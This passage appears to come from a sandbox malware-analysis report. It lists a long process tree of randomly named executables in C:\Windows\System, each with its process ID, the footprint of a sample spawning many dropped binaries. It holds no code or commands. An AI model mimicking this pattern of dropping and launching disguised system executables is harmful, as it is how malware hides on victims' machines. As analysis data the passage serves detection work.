  2⤵
  PID:8108
- C:\Windows\System\yZYQCnI.exe
  C:\Windows\System\yZYQCnI.exe
  2⤵
  PID:8128
- C:\Windows\System\QScskRN.exe
  C:\Windows\System\QScskRN.exe
  2⤵
  PID:8156
- C:\Windows\System\hEeokHT.exe
  C:\Windows\System\hEeokHT.exe
  2⤵
  PID:8180
- C:\Windows\System\eoGPkug.exe
  C:\Windows\System\eoGPkug.exe
  2⤵
  PID:2976
- C:\Windows\System\xLWyzRZ.exe
  C:\Windows\System\xLWyzRZ.exe
  2⤵
  PID:6976
- C:\Windows\System\bUGpPAs.exe
  C:\Windows\System\bUGpPAs.exe
  2⤵
  PID:7088
- C:\Windows\System\zJjyjpX.exe
  C:\Windows\System\zJjyjpX.exe
  2⤵
  PID:7012
- C:\Windows\System\MpIktCo.exe
  C:\Windows\System\MpIktCo.exe
  2⤵
  PID:4724
- C:\Windows\System\hlQBUTk.exe
  C:\Windows\System\hlQBUTk.exe
  2⤵
  PID:1108
- C:\Windows\System\OPlwQAi.exe
  C:\Windows\System\OPlwQAi.exe
  2⤵
  PID:6908
- C:\Windows\System\qyWpPaT.exe
  C:\Windows\System\qyWpPaT.exe
  2⤵
  PID:6948
- C:\Windows\System\lMlpfMn.exe
  C:\Windows\System\lMlpfMn.exe
  2⤵
  PID:7260
- C:\Windows\System\FqNEKRi.exe
  C:\Windows\System\FqNEKRi.exe
  2⤵
  PID:7324
- C:\Windows\System\JZOkIlu.exe
  C:\Windows\System\JZOkIlu.exe
  2⤵
  PID:7384
- C:\Windows\System\svBoUkV.exe
  C:\Windows\System\svBoUkV.exe
  2⤵
  PID:7048
- C:\Windows\System\RqJdZTv.exe
  C:\Windows\System\RqJdZTv.exe
  2⤵
  PID:7164
- C:\Windows\System\GUmsGex.exe
  C:\Windows\System\GUmsGex.exe
  2⤵
  PID:7520
- C:\Windows\System\wLNcWrq.exe
  C:\Windows\System\wLNcWrq.exe
  2⤵
  PID:4328
- C:\Windows\System\LxKOonB.exe
  C:\Windows\System\LxKOonB.exe
  2⤵
  PID:6212
- C:\Windows\System\uOtrEYF.exe
  C:\Windows\System\uOtrEYF.exe
  2⤵
  PID:7592
- C:\Windows\System\fgSVfRw.exe
  C:\Windows\System\fgSVfRw.exe
  2⤵
  PID:2380
- C:\Windows\System\VfvKQEA.exe
  C:\Windows\System\VfvKQEA.exe
  2⤵
  PID:7224
- C:\Windows\System\kyBrGsG.exe
  C:\Windows\System\kyBrGsG.exe
  2⤵
  PID:7728
- C:\Windows\System\pEPvHTA.exe
  C:\Windows\System\pEPvHTA.exe
  2⤵
  PID:8220
- C:\Windows\System\DdYcdnn.exe
  C:\Windows\System\DdYcdnn.exe
  2⤵
  PID:8244
- C:\Windows\System\TpfdEUy.exe
  C:\Windows\System\TpfdEUy.exe
  2⤵
  PID:8276
- C:\Windows\System\GinflZK.exe
  C:\Windows\System\GinflZK.exe
  2⤵
  PID:8304
- C:\Windows\System\HirDlgd.exe
  C:\Windows\System\HirDlgd.exe
  2⤵
  PID:8324
- C:\Windows\System\ncjEwRw.exe
  C:\Windows\System\ncjEwRw.exe
  2⤵
  PID:8348
- C:\Windows\System\XQvIXEM.exe
  C:\Windows\System\XQvIXEM.exe
  2⤵
  PID:8376
- C:\Windows\System\wuUxdLq.exe
  C:\Windows\System\wuUxdLq.exe
  2⤵
  PID:8396
- C:\Windows\System\mjWPvrd.exe
  C:\Windows\System\mjWPvrd.exe
  2⤵
  PID:8416
- C:\Windows\System\szotwwo.exe
  C:\Windows\System\szotwwo.exe
  2⤵
  PID:8444
- C:\Windows\System\sbnomSx.exe
  C:\Windows\System\sbnomSx.exe
  2⤵
  PID:8464
- C:\Windows\System\rUBacdD.exe
  C:\Windows\System\rUBacdD.exe
  2⤵
  PID:8484
- C:\Windows\System\UUyNMRs.exe
  C:\Windows\System\UUyNMRs.exe
  2⤵
  PID:8512
- C:\Windows\System\XMxGvpb.exe
  C:\Windows\System\XMxGvpb.exe
  2⤵
  PID:8532
- C:\Windows\System\DQZnTlW.exe
  C:\Windows\System\DQZnTlW.exe
  2⤵
  PID:8552
- C:\Windows\System\qZaQZPL.exe
  C:\Windows\System\qZaQZPL.exe
  2⤵
  PID:8580
- C:\Windows\System\YJEQQqA.exe
  C:\Windows\System\YJEQQqA.exe
  2⤵
  PID:8600
- C:\Windows\System\onxwdBq.exe
  C:\Windows\System\onxwdBq.exe
  2⤵
  PID:8620
- C:\Windows\System\WrWCUMb.exe
  C:\Windows\System\WrWCUMb.exe
  2⤵
  PID:8648
- C:\Windows\System\tVjpfKu.exe
  C:\Windows\System\tVjpfKu.exe
  2⤵
  PID:8672
- C:\Windows\System\MLzOJpY.exe
  C:\Windows\System\MLzOJpY.exe
  2⤵
  PID:8692
- C:\Windows\System\EdwmFhH.exe
  C:\Windows\System\EdwmFhH.exe
  2⤵
  PID:8716
- C:\Windows\System\EpiCSEs.exe
  C:\Windows\System\EpiCSEs.exe
  2⤵
  PID:8744
- C:\Windows\System\ODgPBbL.exe
  C:\Windows\System\ODgPBbL.exe
  2⤵
  PID:8760
- C:\Windows\System\oQIlfEa.exe
  C:\Windows\System\oQIlfEa.exe
  2⤵
  PID:8784
- C:\Windows\System\cZvsylG.exe
  C:\Windows\System\cZvsylG.exe
  2⤵
  PID:8804
- C:\Windows\System\kwVWmtj.exe
  C:\Windows\System\kwVWmtj.exe
  2⤵
  PID:8824
- C:\Windows\System\rDmKIZW.exe
  C:\Windows\System\rDmKIZW.exe
  2⤵
  PID:8852
- C:\Windows\System\QAhlZWC.exe
  C:\Windows\System\QAhlZWC.exe
  2⤵
  PID:8876
- C:\Windows\System\pCUpevc.exe
  C:\Windows\System\pCUpevc.exe
  2⤵
  PID:8896
- C:\Windows\System\WMmEImh.exe
  C:\Windows\System\WMmEImh.exe
  2⤵
  PID:8924
- C:\Windows\System\pblpTkg.exe
  C:\Windows\System\pblpTkg.exe
  2⤵
  PID:8940
- C:\Windows\System\rNstXFh.exe
  C:\Windows\System\rNstXFh.exe
  2⤵
  PID:8960
- C:\Windows\System\LQuPJYn.exe
  C:\Windows\System\LQuPJYn.exe
  2⤵
  PID:8988
- C:\Windows\System\vFFmKST.exe
  C:\Windows\System\vFFmKST.exe
  2⤵
  PID:9004
- C:\Windows\System\KtwYRrk.exe
  C:\Windows\System\KtwYRrk.exe
  2⤵
  PID:9028
- C:\Windows\System\IODsfYA.exe
  C:\Windows\System\IODsfYA.exe
  2⤵
  PID:9044
- C:\Windows\System\gYzscXO.exe
  C:\Windows\System\gYzscXO.exe
  2⤵
  PID:9068
- C:\Windows\System\lcFWqnE.exe
  C:\Windows\System\lcFWqnE.exe
  2⤵
  PID:9092
- C:\Windows\System\IKGCDDc.exe
  C:\Windows\System\IKGCDDc.exe
  2⤵
  PID:9116
- C:\Windows\System\oVHvKtW.exe
  C:\Windows\System\oVHvKtW.exe
  2⤵
  PID:9140
- C:\Windows\System\wpPsnte.exe
  C:\Windows\System\wpPsnte.exe
  2⤵
  PID:9164
- C:\Windows\System\jLrCcwG.exe
  C:\Windows\System\jLrCcwG.exe
  2⤵
  PID:9180
- C:\Windows\System\IXpsjxE.exe
  C:\Windows\System\IXpsjxE.exe
  2⤵
  PID:9204
- C:\Windows\System\yJykIeT.exe
  C:\Windows\System\yJykIeT.exe
  2⤵
  PID:7916
- C:\Windows\System\RgOckxb.exe
  C:\Windows\System\RgOckxb.exe
  2⤵
  PID:6860
- C:\Windows\System\JDSctrO.exe
  C:\Windows\System\JDSctrO.exe
  2⤵
  PID:7392
- C:\Windows\System\zhHHwAL.exe
  C:\Windows\System\zhHHwAL.exe
  2⤵
  PID:8036
- C:\Windows\System\JsvjukL.exe
  C:\Windows\System\JsvjukL.exe
  2⤵
  PID:7440
- C:\Windows\System\aWtiIfp.exe
  C:\Windows\System\aWtiIfp.exe
  2⤵
  PID:7480
- C:\Windows\System\ILXVTXz.exe
  C:\Windows\System\ILXVTXz.exe
  2⤵
  PID:8144
- C:\Windows\System\rQLISAf.exe
  C:\Windows\System\rQLISAf.exe
  2⤵
  PID:7536
- C:\Windows\System\gCWjcuz.exe
  C:\Windows\System\gCWjcuz.exe
  2⤵
  PID:6596
- C:\Windows\System\AgpfADn.exe
  C:\Windows\System\AgpfADn.exe
  2⤵
  PID:6932
- C:\Windows\System\oywbprR.exe
  C:\Windows\System\oywbprR.exe
  2⤵
  PID:8608
- C:\Windows\System\oCkJrTA.exe
  C:\Windows\System\oCkJrTA.exe
  2⤵
  PID:6800
- C:\Windows\System\BusyYzL.exe
  C:\Windows\System\BusyYzL.exe
  2⤵
  PID:8868
- C:\Windows\System\lhEmOdY.exe
  C:\Windows\System\lhEmOdY.exe
  2⤵
  PID:8952
- C:\Windows\System\VeoElSU.exe
  C:\Windows\System\VeoElSU.exe
  2⤵
  PID:9036
- C:\Windows\System\nwIBxzR.exe
  C:\Windows\System\nwIBxzR.exe
  2⤵
  PID:9064
- C:\Windows\System\nscIFjn.exe
  C:\Windows\System\nscIFjn.exe
  2⤵
  PID:7876
- C:\Windows\System\tZZlbnp.exe
  C:\Windows\System\tZZlbnp.exe
  2⤵
  PID:9188
- C:\Windows\System\jlpjzro.exe
  C:\Windows\System\jlpjzro.exe
  2⤵
  PID:8080
- C:\Windows\System\kSGVfxM.exe
  C:\Windows\System\kSGVfxM.exe
  2⤵
  PID:6824
- C:\Windows\System\AYWbTQU.exe
  C:\Windows\System\AYWbTQU.exe
  2⤵
  PID:7084
- C:\Windows\System\LLOPNcS.exe
  C:\Windows\System\LLOPNcS.exe
  2⤵
  PID:8768
- C:\Windows\System\nVkfAaK.exe
  C:\Windows\System\nVkfAaK.exe
  2⤵
  PID:8816
- C:\Windows\System\zNCRJAM.exe
  C:\Windows\System\zNCRJAM.exe
  2⤵
  PID:7688
- C:\Windows\System\MtsbcOt.exe
  C:\Windows\System\MtsbcOt.exe
  2⤵
  PID:9232
- C:\Windows\System\VKjcpRi.exe
  C:\Windows\System\VKjcpRi.exe
  2⤵
  PID:9256
- C:\Windows\System\hTClMxc.exe
  C:\Windows\System\hTClMxc.exe
  2⤵
  PID:9280
- C:\Windows\System\jYclPsi.exe
  C:\Windows\System\jYclPsi.exe
  2⤵
  PID:9304
- C:\Windows\System\asyKKOS.exe
  C:\Windows\System\asyKKOS.exe
  2⤵
  PID:9328
- C:\Windows\System\AjMXRhY.exe
  C:\Windows\System\AjMXRhY.exe
  2⤵
  PID:9348
- C:\Windows\System\lFcPyXp.exe
  C:\Windows\System\lFcPyXp.exe
  2⤵
  PID:9368
- C:\Windows\System\znYWVxN.exe
  C:\Windows\System\znYWVxN.exe
  2⤵
  PID:9392
- C:\Windows\System\EAYmhtj.exe
  C:\Windows\System\EAYmhtj.exe
  2⤵
  PID:9420
- C:\Windows\System\FWSgSuy.exe
  C:\Windows\System\FWSgSuy.exe
  2⤵
  PID:9452
- C:\Windows\System\YuPklbO.exe
  C:\Windows\System\YuPklbO.exe
  2⤵
  PID:9480
- C:\Windows\System\sKvvwQd.exe
  C:\Windows\System\sKvvwQd.exe
  2⤵
  PID:9500
- C:\Windows\System\TjlZBAO.exe
  C:\Windows\System\TjlZBAO.exe
  2⤵
  PID:9524
- C:\Windows\System\ymAUuVQ.exe
  C:\Windows\System\ymAUuVQ.exe
  2⤵
  PID:9764
- C:\Windows\System\FqUPkvg.exe
  C:\Windows\System\FqUPkvg.exe
  2⤵
  PID:9788
- C:\Windows\System\VhqHLXd.exe
  C:\Windows\System\VhqHLXd.exe
  2⤵
  PID:9812
- C:\Windows\System\ACAlRCO.exe
  C:\Windows\System\ACAlRCO.exe
  2⤵
  PID:9832
- C:\Windows\System\zBisAer.exe
  C:\Windows\System\zBisAer.exe
  2⤵
  PID:9856
- C:\Windows\System\sqHedPJ.exe
  C:\Windows\System\sqHedPJ.exe
  2⤵
  PID:9876
- C:\Windows\System\XVyDhCn.exe
  C:\Windows\System\XVyDhCn.exe
  2⤵
  PID:9900
- C:\Windows\System\ugEbQkU.exe
  C:\Windows\System\ugEbQkU.exe
  2⤵
  PID:9920
- C:\Windows\System\GwRTOdS.exe
  C:\Windows\System\GwRTOdS.exe
  2⤵
  PID:9940
- C:\Windows\System\TUZbxeb.exe
  C:\Windows\System\TUZbxeb.exe
  2⤵
  PID:9964
- C:\Windows\System\IufWsqj.exe
  C:\Windows\System\IufWsqj.exe
  2⤵
  PID:9988
- C:\Windows\System\FByCUZg.exe
  C:\Windows\System\FByCUZg.exe
  2⤵
  PID:10012
- C:\Windows\System\IfvGzpK.exe
  C:\Windows\System\IfvGzpK.exe
  2⤵
  PID:10040
- C:\Windows\System\sPeYnkA.exe
  C:\Windows\System\sPeYnkA.exe
  2⤵
  PID:10060
- C:\Windows\System\PHoATnY.exe
  C:\Windows\System\PHoATnY.exe
  2⤵
  PID:10092
- C:\Windows\System\pzJnvxY.exe
  C:\Windows\System\pzJnvxY.exe
  2⤵
  PID:10116
- C:\Windows\System\YqbGxpC.exe
  C:\Windows\System\YqbGxpC.exe
  2⤵
  PID:10140
- C:\Windows\System\jZccwkG.exe
  C:\Windows\System\jZccwkG.exe
  2⤵
  PID:10164
- C:\Windows\System\rqtEZQy.exe
  C:\Windows\System\rqtEZQy.exe
  2⤵
  PID:10188
- C:\Windows\System\jbUByoK.exe
  C:\Windows\System\jbUByoK.exe
  2⤵
  PID:10212
- C:\Windows\System\tElOKen.exe
  C:\Windows\System\tElOKen.exe
  2⤵
  PID:10232
- C:\Windows\System\gmLfdiJ.exe
  C:\Windows\System\gmLfdiJ.exe
  2⤵
  PID:9012
- C:\Windows\System\gjhKHgc.exe
  C:\Windows\System\gjhKHgc.exe
  2⤵
  PID:8252
- C:\Windows\System\FRMyDpR.exe
  C:\Windows\System\FRMyDpR.exe
  2⤵
  PID:8300
- C:\Windows\System\dnTfIfl.exe
  C:\Windows\System\dnTfIfl.exe
  2⤵
  PID:8332
- C:\Windows\System\qyBnLXo.exe
  C:\Windows\System\qyBnLXo.exe
  2⤵
  PID:8544
- C:\Windows\System\Fffsmev.exe
  C:\Windows\System\Fffsmev.exe
  2⤵
  PID:8968
- C:\Windows\System\mIcDTOS.exe
  C:\Windows\System\mIcDTOS.exe
  2⤵
  PID:8560
- C:\Windows\System\BafKmjH.exe
  C:\Windows\System\BafKmjH.exe
  2⤵
  PID:8492
- C:\Windows\System\pfGAskK.exe
  C:\Windows\System\pfGAskK.exe
  2⤵
  PID:8892
- C:\Windows\System\zPBAKvD.exe
  C:\Windows\System\zPBAKvD.exe
  2⤵
  PID:8996
- C:\Windows\System\ogVnLZY.exe
  C:\Windows\System\ogVnLZY.exe
  2⤵
  PID:9020
- C:\Windows\System\wAbVSDG.exe
  C:\Windows\System\wAbVSDG.exe
  2⤵
  PID:9440
- C:\Windows\System\YWPOsLs.exe
  C:\Windows\System\YWPOsLs.exe
  2⤵
  PID:9472
- C:\Windows\System\uREIuTt.exe
  C:\Windows\System\uREIuTt.exe
  2⤵
  PID:9532
- C:\Windows\System\OGNcHwL.exe
  C:\Windows\System\OGNcHwL.exe
  2⤵
  PID:9568
- C:\Windows\System\uKFYmOK.exe
  C:\Windows\System\uKFYmOK.exe
  2⤵
  PID:8356
- C:\Windows\System\ZstjGsW.exe
  C:\Windows\System\ZstjGsW.exe
  2⤵
  PID:7344
- C:\Windows\System\tTlZQTb.exe
  C:\Windows\System\tTlZQTb.exe
  2⤵
  PID:7560
- C:\Windows\System\QFIUzUV.exe
  C:\Windows\System\QFIUzUV.exe
  2⤵
  PID:7656
- C:\Windows\System\NVbrxfG.exe
  C:\Windows\System\NVbrxfG.exe
  2⤵
  PID:9060
- C:\Windows\System\aOwXDlV.exe
  C:\Windows\System\aOwXDlV.exe
  2⤵
  PID:9712
- C:\Windows\System\KyFZDBH.exe
  C:\Windows\System\KyFZDBH.exe
  2⤵
  PID:9752
- C:\Windows\System\xnLxaeh.exe
  C:\Windows\System\xnLxaeh.exe
  2⤵
  PID:9808
- C:\Windows\System\GpNLXyM.exe
  C:\Windows\System\GpNLXyM.exe
  2⤵
  PID:9916
- C:\Windows\System\EGgNfgK.exe
  C:\Windows\System\EGgNfgK.exe
  2⤵
  PID:10252
- C:\Windows\System\BgmmCyF.exe
  C:\Windows\System\BgmmCyF.exe
  2⤵
  PID:10280
- C:\Windows\System\SwtYXXZ.exe
  C:\Windows\System\SwtYXXZ.exe
  2⤵
  PID:10312
- C:\Windows\System\skxdvZL.exe
  C:\Windows\System\skxdvZL.exe
  2⤵
  PID:10328
- C:\Windows\System\kAeUINZ.exe
  C:\Windows\System\kAeUINZ.exe
  2⤵
  PID:10352
- C:\Windows\System\vlBYysg.exe
  C:\Windows\System\vlBYysg.exe
  2⤵
  PID:10384
- C:\Windows\System\xDOabkx.exe
  C:\Windows\System\xDOabkx.exe
  2⤵
  PID:10404
- C:\Windows\System\WsLFXDq.exe
  C:\Windows\System\WsLFXDq.exe
  2⤵
  PID:10432
- C:\Windows\System\xGIyBVX.exe
  C:\Windows\System\xGIyBVX.exe
  2⤵
  PID:10452
- C:\Windows\System\PgqkYYG.exe
  C:\Windows\System\PgqkYYG.exe
  2⤵
  PID:10476
- C:\Windows\System\tRjZyjG.exe
  C:\Windows\System\tRjZyjG.exe
  2⤵
  PID:10740
- C:\Windows\System\UWFIkNk.exe
  C:\Windows\System\UWFIkNk.exe
  2⤵
  PID:10768
- C:\Windows\System\ypOaIgg.exe
  C:\Windows\System\ypOaIgg.exe
  2⤵
  PID:10788
- C:\Windows\System\avavnfx.exe
  C:\Windows\System\avavnfx.exe
  2⤵
  PID:10808
- C:\Windows\System\puxdeJC.exe
  C:\Windows\System\puxdeJC.exe
  2⤵
  PID:10832
- C:\Windows\System\dwubHlm.exe
  C:\Windows\System\dwubHlm.exe
  2⤵
  PID:10856
- C:\Windows\System\wHhLwDt.exe
  C:\Windows\System\wHhLwDt.exe
  2⤵
  PID:10880
- C:\Windows\System\zxGiOdP.exe
  C:\Windows\System\zxGiOdP.exe
  2⤵
  PID:10904
- C:\Windows\System\ddpojTC.exe
  C:\Windows\System\ddpojTC.exe
  2⤵
  PID:10924
- C:\Windows\System\gzOYixI.exe
  C:\Windows\System\gzOYixI.exe
  2⤵
  PID:10948
- C:\Windows\System\xnWyrqw.exe
  C:\Windows\System\xnWyrqw.exe
  2⤵
  PID:10972
- C:\Windows\System\EcxOfGx.exe
  C:\Windows\System\EcxOfGx.exe
  2⤵
  PID:10996
- C:\Windows\System\yncQkKo.exe
  C:\Windows\System\yncQkKo.exe
  2⤵
  PID:11020
- C:\Windows\System\YtPAPct.exe
  C:\Windows\System\YtPAPct.exe
  2⤵
  PID:11040
- C:\Windows\System\ywpHBxb.exe
  C:\Windows\System\ywpHBxb.exe
  2⤵
  PID:11060
- C:\Windows\System\sRWvIWp.exe
  C:\Windows\System\sRWvIWp.exe
  2⤵
  PID:11084
- C:\Windows\System\CbHqCTK.exe
  C:\Windows\System\CbHqCTK.exe
  2⤵
  PID:11116
- C:\Windows\System\UYqdMWG.exe
  C:\Windows\System\UYqdMWG.exe
  2⤵
  PID:11140
- C:\Windows\System\LauICvu.exe
  C:\Windows\System\LauICvu.exe
  2⤵
  PID:11164
- C:\Windows\System\txQCUZK.exe
  C:\Windows\System\txQCUZK.exe
  2⤵
  PID:11188
- C:\Windows\System\nrJaKUB.exe
  C:\Windows\System\nrJaKUB.exe
  2⤵
  PID:11212
- C:\Windows\System\akisaqu.exe
  C:\Windows\System\akisaqu.exe
  2⤵
  PID:11240
- C:\Windows\System\IryBDsh.exe
  C:\Windows\System\IryBDsh.exe
  2⤵
  PID:10004
- C:\Windows\System\eSoyleH.exe
  C:\Windows\System\eSoyleH.exe
  2⤵
  PID:10048
- C:\Windows\System\CNlqYog.exe
  C:\Windows\System\CNlqYog.exe
  2⤵
  PID:7076
- C:\Windows\System\ZisUdTf.exe
  C:\Windows\System\ZisUdTf.exe
  2⤵
  PID:8792
- C:\Windows\System\ASWIYHC.exe
  C:\Windows\System\ASWIYHC.exe
  2⤵
  PID:10156
- C:\Windows\System\WsWljIV.exe
  C:\Windows\System\WsWljIV.exe
  2⤵
  PID:10176
- C:\Windows\System\GVzVvdk.exe
  C:\Windows\System\GVzVvdk.exe
  2⤵
  PID:9324
- C:\Windows\System\dkqaQDh.exe
  C:\Windows\System\dkqaQDh.exe
  2⤵
  PID:9384
- C:\Windows\System\edhqRvZ.exe
  C:\Windows\System\edhqRvZ.exe
  2⤵
  PID:6364
- C:\Windows\System\AuOoBMk.exe
  C:\Windows\System\AuOoBMk.exe
  2⤵
  PID:9488
- C:\Windows\System\FeEjaLB.exe
  C:\Windows\System\FeEjaLB.exe
  2⤵
  PID:9624
- C:\Windows\System\wCtxruD.exe
  C:\Windows\System\wCtxruD.exe
  2⤵
  PID:9824
- C:\Windows\System\JnXXVGV.exe
  C:\Windows\System\JnXXVGV.exe
  2⤵
  PID:7940
- C:\Windows\System\FXRaXxz.exe
  C:\Windows\System\FXRaXxz.exe
  2⤵
  PID:9276
- C:\Windows\System\UlnaFaI.exe
  C:\Windows\System\UlnaFaI.exe
  2⤵
  PID:8260
- C:\Windows\System\yMDKEPs.exe
  C:\Windows\System\yMDKEPs.exe
  2⤵
  PID:3972
- C:\Windows\System\wySpfHr.exe
  C:\Windows\System\wySpfHr.exe
  2⤵
  PID:7820
- C:\Windows\System\kkVQsPW.exe
  C:\Windows\System\kkVQsPW.exe
  2⤵
  PID:10484
- C:\Windows\System\NkMtBXX.exe
  C:\Windows\System\NkMtBXX.exe
  2⤵
  PID:9400
- C:\Windows\System\OAwEPbz.exe
  C:\Windows\System\OAwEPbz.exe
  2⤵
  PID:8388
- C:\Windows\System\EitZlCE.exe
  C:\Windows\System\EitZlCE.exe
  2⤵
  PID:9888
- C:\Windows\System\cXZCuik.exe
  C:\Windows\System\cXZCuik.exe
  2⤵
  PID:9360
- C:\Windows\System\KUFsdHL.exe
  C:\Windows\System\KUFsdHL.exe
  2⤵
  PID:10288
- C:\Windows\System\bMAyGwX.exe
  C:\Windows\System\bMAyGwX.exe
  2⤵
  PID:10076
- C:\Windows\System\MiORcaF.exe
  C:\Windows\System\MiORcaF.exe
  2⤵
  PID:10200
- C:\Windows\System\WHchgeK.exe
  C:\Windows\System\WHchgeK.exe
  2⤵
  PID:10448
- C:\Windows\System\uRrsYUQ.exe
  C:\Windows\System\uRrsYUQ.exe
  2⤵
  PID:10248
- C:\Windows\System\aeADvGg.exe
  C:\Windows\System\aeADvGg.exe
  2⤵
  PID:10656
- C:\Windows\System\wleNPoe.exe
  C:\Windows\System\wleNPoe.exe
  2⤵
  PID:10688
- C:\Windows\System\QdSGBSX.exe
  C:\Windows\System\QdSGBSX.exe
  2⤵
  PID:10732
- C:\Windows\System\HZJhhVC.exe
  C:\Windows\System\HZJhhVC.exe
  2⤵
  PID:10888
- C:\Windows\System\uGDaXgV.exe
  C:\Windows\System\uGDaXgV.exe
  2⤵
  PID:10956
- C:\Windows\System\YkdVjcS.exe
  C:\Windows\System\YkdVjcS.exe
  2⤵
  PID:10964
- C:\Windows\System\CwjugMD.exe
  C:\Windows\System\CwjugMD.exe
  2⤵
  PID:11092
- C:\Windows\System\msrVIkg.exe
  C:\Windows\System\msrVIkg.exe
  2⤵
  PID:11284
- C:\Windows\System\eLJPEGZ.exe
  C:\Windows\System\eLJPEGZ.exe
  2⤵
  PID:11308
- C:\Windows\System\lhKIWLU.exe
  C:\Windows\System\lhKIWLU.exe
  2⤵
  PID:11336
- C:\Windows\System\uwwwoXy.exe
  C:\Windows\System\uwwwoXy.exe
  2⤵
  PID:11356
- C:\Windows\System\aaJsTuY.exe
  C:\Windows\System\aaJsTuY.exe
  2⤵
  PID:11380
- C:\Windows\System\FWqIxDv.exe
  C:\Windows\System\FWqIxDv.exe
  2⤵
  PID:11404
- C:\Windows\System\pQOFnQL.exe
  C:\Windows\System\pQOFnQL.exe
  2⤵
  PID:11436
- C:\Windows\System\bSlmIRC.exe
  C:\Windows\System\bSlmIRC.exe
  2⤵
  PID:11456
- C:\Windows\System\qxLKCjH.exe
  C:\Windows\System\qxLKCjH.exe
  2⤵
  PID:11472
- C:\Windows\System\VXrrTKM.exe
  C:\Windows\System\VXrrTKM.exe
  2⤵
  PID:11504
- C:\Windows\System\AARgRpb.exe
  C:\Windows\System\AARgRpb.exe
  2⤵
  PID:11520
- C:\Windows\System\XnYFZTC.exe
  C:\Windows\System\XnYFZTC.exe
  2⤵
  PID:11552
- C:\Windows\System\SXbQMxA.exe
  C:\Windows\System\SXbQMxA.exe
  2⤵
  PID:11572
- C:\Windows\System\cylPryc.exe
  C:\Windows\System\cylPryc.exe
  2⤵
  PID:11600
- C:\Windows\System\OdGWoBJ.exe
  C:\Windows\System\OdGWoBJ.exe
  2⤵
  PID:11624
- C:\Windows\System\aHjbbnE.exe
  C:\Windows\System\aHjbbnE.exe
  2⤵
  PID:11644
- C:\Windows\System\ODZUtlf.exe
  C:\Windows\System\ODZUtlf.exe
  2⤵
  PID:11672
- C:\Windows\System\WLNOMpB.exe
  C:\Windows\System\WLNOMpB.exe
  2⤵
  PID:11696
- C:\Windows\System\Refxhyo.exe
  C:\Windows\System\Refxhyo.exe
  2⤵
  PID:11724
- C:\Windows\System\ZAQewvv.exe
  C:\Windows\System\ZAQewvv.exe
  2⤵
  PID:11740
- C:\Windows\System\PGwaNWp.exe
  C:\Windows\System\PGwaNWp.exe
  2⤵
  PID:11756
- C:\Windows\System\ntAQCRx.exe
  C:\Windows\System\ntAQCRx.exe
  2⤵
  PID:11776
- C:\Windows\System\fSZFtAy.exe
  C:\Windows\System\fSZFtAy.exe
  2⤵
  PID:11800
- C:\Windows\System\hsriNVo.exe
  C:\Windows\System\hsriNVo.exe
  2⤵
  PID:11820
- C:\Windows\System\pXiykPn.exe
  C:\Windows\System\pXiykPn.exe
  2⤵
  PID:11840
- C:\Windows\System\LPkrJHq.exe
  C:\Windows\System\LPkrJHq.exe
  2⤵
  PID:11860
- C:\Windows\System\rtFTSkl.exe
  C:\Windows\System\rtFTSkl.exe
  2⤵
  PID:11884
- C:\Windows\System\McBQQPm.exe
  C:\Windows\System\McBQQPm.exe
  2⤵
  PID:11908
- C:\Windows\System\isdRTDD.exe
  C:\Windows\System\isdRTDD.exe
  2⤵
  PID:11928
- C:\Windows\System\XJtAZIg.exe
  C:\Windows\System\XJtAZIg.exe
  2⤵
  PID:11952
- C:\Windows\System\HOhyQzk.exe
  C:\Windows\System\HOhyQzk.exe
  2⤵
  PID:11976
- C:\Windows\System\hAXIjeD.exe
  C:\Windows\System\hAXIjeD.exe
  2⤵
  PID:11996
- C:\Windows\System\VDZmZAO.exe
  C:\Windows\System\VDZmZAO.exe
  2⤵
  PID:12016
- C:\Windows\System\vcQunEl.exe
  C:\Windows\System\vcQunEl.exe
  2⤵
  PID:12036
- C:\Windows\System\GyAIAxF.exe
  C:\Windows\System\GyAIAxF.exe
  2⤵
  PID:12052
- C:\Windows\System\YSWAtxJ.exe
  C:\Windows\System\YSWAtxJ.exe
  2⤵
  PID:12068
- C:\Windows\System\iODFntl.exe
  C:\Windows\System\iODFntl.exe
  2⤵
  PID:12096
- C:\Windows\System\YtjLSrl.exe
  C:\Windows\System\YtjLSrl.exe
  2⤵
  PID:12124
- C:\Windows\System\uYHVhye.exe
  C:\Windows\System\uYHVhye.exe
  2⤵
  PID:12144
- C:\Windows\System\RvYyOZj.exe
  C:\Windows\System\RvYyOZj.exe
  2⤵
  PID:12172
- C:\Windows\System\ojMEcLv.exe
  C:\Windows\System\ojMEcLv.exe
  2⤵
  PID:12192
- C:\Windows\System\rAAKgpY.exe
  C:\Windows\System\rAAKgpY.exe
  2⤵
  PID:12212
- C:\Windows\System\WKkfatq.exe
  C:\Windows\System\WKkfatq.exe
  2⤵
  PID:12228
- C:\Windows\System\rHatfjl.exe
  C:\Windows\System\rHatfjl.exe
  2⤵
  PID:12248
- C:\Windows\System\JQABRyS.exe
  C:\Windows\System\JQABRyS.exe
  2⤵
  PID:12264
- C:\Windows\System\PmuLPxL.exe
  C:\Windows\System\PmuLPxL.exe
  2⤵
  PID:12284
- C:\Windows\System\eGaDfUa.exe
  C:\Windows\System\eGaDfUa.exe
  2⤵
  PID:11184
- C:\Windows\System\mLrPAWx.exe
  C:\Windows\System\mLrPAWx.exe
  2⤵
  PID:10360
- C:\Windows\System\FxWTTgX.exe
  C:\Windows\System\FxWTTgX.exe
  2⤵
  PID:11260
- C:\Windows\System\ZvNSfvX.exe
  C:\Windows\System\ZvNSfvX.exe
  2⤵
  PID:10108
- C:\Windows\System\NkcDItA.exe
  C:\Windows\System\NkcDItA.exe
  2⤵
  PID:9240
- C:\Windows\System\ogxJjmp.exe
  C:\Windows\System\ogxJjmp.exe
  2⤵
  PID:2764
- C:\Windows\System\mojIaVK.exe
  C:\Windows\System\mojIaVK.exe
  2⤵
  PID:9772
- C:\Windows\System\WeLeVfN.exe
  C:\Windows\System\WeLeVfN.exe
  2⤵
  PID:10632
- C:\Windows\System\uIrnrPN.exe
  C:\Windows\System\uIrnrPN.exe
  2⤵
  PID:9160
- C:\Windows\System\AVofLqk.exe
  C:\Windows\System\AVofLqk.exe
  2⤵
  PID:8832
- C:\Windows\System\WRtAQaC.exe
  C:\Windows\System\WRtAQaC.exe
  2⤵
  PID:10796
- C:\Windows\System\bWbCvoV.exe
  C:\Windows\System\bWbCvoV.exe
  2⤵
  PID:10876
- C:\Windows\System\DmSSuEb.exe
  C:\Windows\System\DmSSuEb.exe
  2⤵
  PID:10488
- C:\Windows\System\kwCcodY.exe
  C:\Windows\System\kwCcodY.exe
  2⤵
  PID:9736
- C:\Windows\System\mRoMnEL.exe
  C:\Windows\System\mRoMnEL.exe
  2⤵
